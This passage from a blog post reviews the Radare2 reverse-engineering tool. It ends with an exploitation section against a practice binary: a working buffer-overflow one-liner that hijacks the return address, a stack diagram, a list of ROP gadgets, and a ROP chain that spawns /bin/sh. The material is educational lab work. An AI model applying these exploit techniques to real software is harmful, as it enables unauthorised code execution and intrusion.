- offset -       0 1  2 3  4 5  012345
0x7ffd0b507570  9075 500b fd7f  .uP...
0x7ffd0b507576  0000 6307 4000  ..c.@.
0x7ffd0b50757c  0000 0000 3533  ....53
0x7ffd0b507582  6b72 3337 0000  kr37..
0x7ffd0b507588  0000 0000 0000  ......
0x7ffd0b50758e  0000 0000 0000  ......
0x7ffd0b507594  0000 0000 152b  .....+
0x7ffd0b50759a  e045 1f7f 0000  .E....
0x7ffd0b5075a0  0000 0000 2000  .... .
0x7ffd0b5075a6  0000 7876 500b  ..xvP.
0x7ffd0b5075ac  fd7f 0000       ....  
orax 0xffffffffffffffff 
 rax 0x00000035         
 rbx 0x00000000         
 rcx 0xfbad2288         
 rdx 0x7f1f4619ea20     
  r8 0x7f1f463c1007     
  r9 0x00000000         
 r10 0x00000006         
 r11 0x00000246         
 r12 0x00400520         
 r13 0x7ffd0b507670     
 r14 0x00000000      
 r15 0x00000000      
 rsi 0x7f1f463c1006  
 rdi 0x7ffd0b507580  
 rsp 0x7ffd0b507570  
 rbp 0x7ffd0b507570  
 rip 0x004006d7      
 rflags 1PZI         
|           0x004006c9      4889e5         mov rbp, rsp                             
|           0x004006cc      48897df8       mov qword [rbp - local_8h], rdi          
|           0x004006d0      488b45f8       mov rax, qword [rbp - local_8h]          
|           0x004006d4      0fb600         movzx eax, byte [rax]                    
|           ;-- rip:                                                                
|           0x004006d7      3c35           cmp al, 0x35                ; '5' ; rax  
|       ,=< 0x004006d9      7552           jne 0x40072d                ;[1]         
|       |   0x004006db      488b45f8       mov rax, qword [rbp - local_8h]          

Even though it sort of worked the dynamic analysis and debugging part felt the most raw and unfinished. But that being said Radare2 is still great.

Exploitation

Exploiting the binary to print the flag is pretty straight forward:

(echo -n "BUFFER----------RBP-----"; printf %016x 0x00400628 | tac -rs.. | xxd -r -p) | ./vuln
Password for flag: Wrong password
The flag is: 3fce15787a5d2739d4ace4311774e9c8d01de210
Segmentation fault

You may need to vary the echo -n "BUFFER----------RBP-----" in case your compiler produces a different stack layout. You need to fill the buffer and place the address of print_flag() at the return address for main().

In my case the stack layout was as follows:

      STACK:                          EXPLOIT:
0xff
   +----------------+
   |  ...           |
   +----------------+
   | return address |               = print_flag() = 0x0000000000400628
   +----------------+
   | stored rbp     |               = "RBP-----"
   +----------------+  <---- rbp
   | buffer[12..15] |               = "EOF-"
   +----------------+
   | ...            |                  ...
   +----------------+
   | buffer[0..3]   |               = "BUFF"
   +----------------+
   |                |  
   +----------------+  <---- rsp
0x00

The real question now is: How useful is r2 in building a ROP chain?

The answer is: Very much!

r2 features the /R command which allows searching for ROP gadgets.

With this we find:

  0x004005fa             4889e5  mov rbp, rsp
  0x004005fd               ffd0  call rax

  0x00400611             4889e5  mov rbp, rsp
  0x00400614                 58  pop rax
  0x00400615             4889e7  mov rdi, rsp
  0x00400618                 5e  pop rsi
  0x00400619                 c3  ret

  0x0040061c             4831f6  xor rsi, rsi
  0x0040061f                 c3  ret

  0x00400620             4831d2  xor rdx, rdx
  0x00400623                 c3  ret

  0x00400624               0f05  syscall
  0x00400626                 5d  pop rbp
  0x00400627                 c3  ret

  0x004006c5                 90  nop
  0x004006c6                 c9  leave
  0x004006c7                 c3  ret

  0x0040072d         b800000000  mov eax, 0
  0x00400732                 5d  pop rbp
  0x00400733                 c3  ret

  0x004007f1                 5e  pop rsi
  0x004007f2               415f  pop r15
  0x004007f4                 c3  ret

  0x004007f3                 5f  pop rdi
  0x004007f4                 c3  ret

... and many others. But the above should suffice to build a ROP chain, despite my randomly added gadgets were not very well chosen :(.

Nevertheless: I can already conclude that Radare2 can definitively help you with your exploitation ... if that is your thing.

Anyway we can put together the following (admittedly staged) ROP chain:

(echo -n "BUFFER----------RBP-----";               # overflow buffer
printf %016x 0x00400614 | tac -rs.. | xxd -r -p;   # pop rax; mov rdi, rsp; pop rsi; ret
printf %016x 0x3b | tac -rs.. | xxd -r -p;         #    rax = 0x3b       // this gets popped into rax
echo -ne "/bin/sh\0";                              #    rdi = &"/bin/sh" // the "mov rdi, rsp" part
printf %016x 0x0040061c | tac -rs.. | xxd -r -p;   # xor rsi, rsi; ret   // rsi = 0x0
printf %016x 0x00400620 | tac -rs.. | xxd -r -p;   # xor rdx, rdx; ret   // rdx = 0x0
printf %016x 0x00400624 | tac -rs.. | xxd -r -p;   # syscall
echo -ne "\n\n\n\n\n\n\n\n";                       # flush the buffer
cat;                                               # forward stdin to /bin/sh
) | ./vuln

Conclusions

Radare2 is well capable of most reversing tasks. Currently the debugging seems really not smooth. However, that being said I never quite liked debuggers they all give me headaches. Hence, I don't have a workflow as for the other things, which worked great in Radare2.

I'm now officially converted. No more proprietary tooling for me. Open source all the way. Last but not least a huge shoutout and thank you to the people working on Radare2! You have done an amazing job.

I hope with this write up I can draw more people towards Radare2 and thus increase its user base and eventually make it even greater!

No comments:

Post a Comment